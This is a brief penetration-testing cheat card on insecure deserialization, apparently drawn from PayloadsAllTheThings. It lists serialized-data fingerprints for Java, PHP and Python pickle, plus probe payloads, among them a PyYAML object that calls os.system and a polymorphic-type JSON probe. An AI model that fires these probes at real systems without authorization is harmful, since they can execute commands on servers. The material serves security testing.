Insecure deserialization
Magic-byte fingerprints. Identify the stack before you generate a gadget. Prefer DNS/time detect over a shell.
Tags: deserialize, java, php, python
Controlled probes
rO0AB (Java serialized, base64)O:8:"stdClass":0:{} (PHP)gASV (pickle protocol 4, ascii)!!python/object/apply:os.system ['id'] (PyYAML load){"@class":"com.example.Vulnerable","@type":"com.example.Vulnerable"}
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization